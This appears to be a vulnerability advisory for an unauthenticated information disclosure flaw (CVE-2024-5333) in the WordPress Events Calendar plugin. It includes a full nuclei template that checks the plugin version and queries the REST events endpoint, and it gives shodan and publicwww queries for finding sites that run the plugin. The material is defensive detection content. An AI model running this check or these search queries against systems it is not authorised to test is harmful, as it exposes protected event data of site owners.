WordPress Events Calendar 6.8.2.1 - Information Disclosure

mediumseverity

5.3CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.

Impact

Unauthenticated users can access sensitive event information, potentially leading to information disclosure.

Fix

Update to version 6.8.2.1 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/the-events-calendar/readme.txt
Positive when: compare_versions(version, "< 6.8.2.1")
Send: GET {{BaseURL}}/wp-json/tribe/events/v1/events/
Positive when: contains "\"events\":" and "\"rest_url\":" and "\"total\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-5333 -u <target>

The full check

id: CVE-2024-5333

info:
  name: WordPress Events Calendar 6.8.2.1 - Information Disclosure
  author: DhiyaneshDk,HaroonArshad-53
  severity: medium
  description: |
    The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.
  impact: |
    Unauthenticated users can access sensitive event information, potentially leading to information disclosure.
  remediation: |
    Update to version 6.8.2.1 or later.
  reference:
    - https://wpscan.com/vulnerability/764b5a23-8b51-4882-b899-beb54f684984/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5333
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-5333
    cwe-id: CWE-639
    epss-score: 0.01122
    epss-percentile: 0.66477
  metadata:
    verified: true
    max-request: 2
    vendor: stellarwp
    product: the_events_calendar
    framework: wordpress
    publicwww-query: "/wp-content/plugins/the-events-calendar/"
    shodan-query: html:"/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,the-events-calendar,disclosure,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/the-events-calendar/readme.txt"

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, "< 6.8.2.1")
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/tribe/events/v1/events/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"events":'
          - '"rest_url":'
          - '"total":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from